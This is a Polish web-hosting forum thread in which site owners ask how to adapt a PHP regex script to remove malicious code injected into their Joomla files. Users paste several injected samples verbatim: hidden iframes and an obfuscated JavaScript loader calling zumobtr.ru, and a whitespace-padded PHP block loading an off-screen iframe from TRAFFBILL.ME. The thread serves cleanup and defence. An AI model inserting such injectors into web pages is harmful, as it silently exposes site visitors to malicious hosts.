Skocz do zawartości

Wirus dolepił IFRAME'a


mjery

Rekomendowane odpowiedzi

witajcie,

Mam następujący problem. Wirus dokleił mi IFRAME'a, a że stronę mam w Joomli jest tam mnóstwo plików html i php.

Znalazłem na forum skrypt

Skrypt który usuwa wszystkie (lub tylko informuje o potencjalnej infekcji) iframe, wg. podanego schematu czyli:

CYTAT

<iframe src="jakis_adres" width=1 height=1 inne_znaki"></iframe>

Skrypt zapisujemy do pliku jakas_nazwa.php i wgrywamy na serwer i odpalamy :-)

KOD

<?php

$kasuj = 1; #jezeli chcesz tylko informacje o zakazonych plikach, bez usuwania iframe ustaw na 0

$folder = '.'; #wpisz tutaj nazwe przeszukiwanego folderu, kropka onacza wszystkie foldery

function ListFiles($dir) {

if($dh = opendir($dir)) {

$files = Array();

$inner_files = Array();

while($file = readdir($dh)) {

if($file != "." && $file != ".." && $file[0] != '.') {

if(is_dir($dir . "/" . $file)) {

$inner_files = ListFiles($dir . "/" . $file);

if(is_array($inner_files)) $files = array_merge($files, $inner_files);

} else {

$type=stristr($file, '.');

if($type == '.php' OR $type == '.html' OR $type == '.tpl')

array_push($files, $dir . "/" . $file);

}

}

}

closedir($dh);

return $files;

}

}

$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";

foreach (ListFiles($folder) as $key=>$file){

echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:5px;margin-top:20px;\">Sprawdzam plik <b>".$file ."</b></span>";

$contents=@file_get_contents($file);

$ncontents=preg_replace($pattern, "", $contents, -1, $count);

if($count != '0')

{

if($kasuj == 1)

if(@file_put_contents($file, $ncontents))

echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono i <font color=\"red\">pomyslnie skasowano</font> <b>iframe</b> z pliku <u>".$file."</u></span>";

else

echo "<span style=\"font-family:arial;font-size:14px;font-color:#800000;display:block;margin-left:50px;font-weight:bold;\">Znaleziono <font color=\"red\">lecz nie udało się usunac</font> <b>iframe</b> z pliku <u>".$file."</u></span>";

}

else

echo "<span style=\"font-family:arial;font-size:14px;font-color:black;display:block;margin-left:50px;\">Plik <b>".$file."</b> nie jest zainfekowany</span>";

}

?>

Skrypt listuje pliki, po czym szuka iframe o width i height ustawionym na 1, usuwa te ramki po czym próbuje zapisać zawartość pliku bez iframe.

edycja: plik szuka szkodliwego kodu, tylko w plikach z rozszerzeniem .html .php oraz .tpl.

Instrukcja do zmiany w skrypcie (tak mi się wydaje, że tylko to starczy).

$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";

Wadliwy kod wygląda następująco:

<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=https://zumobtr.ru/gate.php?f=1075993 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->

Należałoby przerobić instrukcję aby skrypt wyszukiwał i usuwał wadliwy kod.

Będę bardzo wdzięczny za pomoc.

Odnośnik do komentarza
Udostępnij na innych stronach

Mozesz zawsze podmienic

"/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/"[code]

Na adres:

"zum*btr.ru/"

Po czym sprawdzic ktory plik nadegrał i ręcznie wyedytować, zastanów sie tez ktoredy sie dostał na Twoja stronke

Kody -25% na hosting w biznes-host.pl
 

@mcmagik ~ maszyna jest tak głupia, jak jej użytkownik

Odnośnik do komentarza
Udostępnij na innych stronach

jehowy: podmieniłem ale nadal bez rezultatu.

Po uruchomieniu skryptu dostaję następującą informację dotyczącą wszystkich zarażonych plików (nie kasuje zawartości IFRAME).

Sprawdzam plik ./tmp/index.html

Plik ./tmp/index.html nie jest zainfekowany

Sprawdzam plik ./index2.php

Plik ./index2.php nie jest zainfekowany

itd.

Jeśli chodzi o źródło to miałem Total Commandera bez szyfrowania i pewnie tą drogą sie dostali.

Ma ktoś wiedzę z php aby przerobić ten skrypt?

Odnośnik do komentarza
Udostępnij na innych stronach

  • 2 tygodnie później...
Spróbuj w tym skrypcie zmienić:

$pattern="/<iframe src=\".*\" width=1 height=1.*\"><\/iframe>/";

na:

$pattern="/<!--qpi-->(.*)<!--\/qpi-->/";

wielkie dzięki, działa! :D

wirus dokleja jednak kod również do js, np:

/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='https://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/

wiecie jak zmodyfikować pattern oprócz dodania typu pliku .js do przeszukania?

zrobiłem takie coś, ale niestety nie działa..

$pattern="/\/*qpi*\/(.*)\/*qpi*\//";

z góry wielkie dzięki!

Odnośnik do komentarza
Udostępnij na innych stronach

Zadbaj tez o przyczyny bo za kilka dni będziesz znowu "shaczony". Nie ma tygodnia żebym nie miał klienta z tym świństwem. Niektórzy są tak nieporadni (wzorem prawa jazdy prawo do korzystania z komputera? :D ), że problem się bez przerwy powtarza.

Z tego co pamiętam ten konkretny siedzi w rejestrze windowsa i przesyła dane (kradnie) te które wpisujesz/używasz (hasła, loginy, nr kart etc.).

Odnośnik do komentarza
Udostępnij na innych stronach

Tak jak napisałem wyżej, akurat ten qpi to nie jest z TC (chyba, że TAKŻE). Siedzi w rejestrze, przechwytuje wysyłane dane i przesyła dalej. Potem zupełnie normalnie ktos się łączy jakims automatem z IP wietnamskich czy singapurskich, loguje się i skanuje/podmienia wszelkie pliki wg schematu (na ogól </body>).

Odnośnik do komentarza
Udostępnij na innych stronach

  • 7 miesięcy temu...

Witam. Przepraszam za odkopanie ale mam na serwerze około 15 stron na joomli. I do każdego pliku .html .php .js mam doklejony poniżysz kod. Aha zaznaczam że serwer nazwa.pl trzyma backupy tylko za ostatnie 48 godzin a zanim to wykryłem minęło 72godziny.

<?
#0247a1#
																																																																									 echo "																																																																										 <script type=\"text/javascript\" language=\"javascript\" >																																																																										 var _d = document.createElement('iframe'),_l = 'setAttribute';_d[_l]('src', 'https://TRAFFBILL.ME/deriving/naturally_areas.php');_d.style.position = 'absolute';_d.style.width = '10px';_d[_l]('frameborder', navigator.userAgent.indexOf('1982da8197443bd758b347890dd63390') + 1);_d.style.left = '-5240px';document.write('<div id=\'PL_ADS\'></div>');document.getElementById('PL_ADS').appendChild(_d);</script>";
#/0247a1#
?>

A oto kod bez "oryginalnych" spacji

<?
#0247a1#
echo "
<script type=\"text/javascript\" language=\"javascript\" >
var _d = document.createElement('iframe'),_l = 'setAttribute';_d[_l]('src', 'https://TRAFFBILL.ME/deriving/naturally_areas.php');_d.style.position = 'absolute';_d.style.width = '10px';_d[_l]('frameborder', navigator.userAgent.indexOf('1982da8197443bd758b347890dd63390') + 1);_d.style.left = '-5240px';document.write('<div id=\'PL_ADS\'></div>');document.getElementById('PL_ADS').appendChild(_d);</script>";
#/0247a1#
?>

Proszę o podanie tego wyrażenia do linijki pattern bo kombinuje i nic nie wychodzi. A modyfikować kilkanaście tysięcy plików ręcznie to kupa czasu. Pozdrawiam

Odnośnik do komentarza
Udostępnij na innych stronach

@pezet40

a nie masz kopii plików na swoim dysku?

Podobno ludzie dzielą się na tych, którzy robią backup i tych którzy będą robić... ;)

Ogólnie rzecz biorąc to IMHO najlepszy, najszybszy i najłatwiejszy sposób to wgranie plików na nowo.

Na przyszłość:

1. wszystkie pliki trzymamy u siebie na dysku

2. w kliencie ftp można podać wszystkie dane oprócz hasła, bez względu czy to TC z szyfrowaniem, Filezilla, czy inny klient

3. aktualizujemy skrypty, a w razie włamu zmieniamy hasła.

Odnośnik do komentarza
Udostępnij na innych stronach

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Warunki użytkowania Polityka prywatności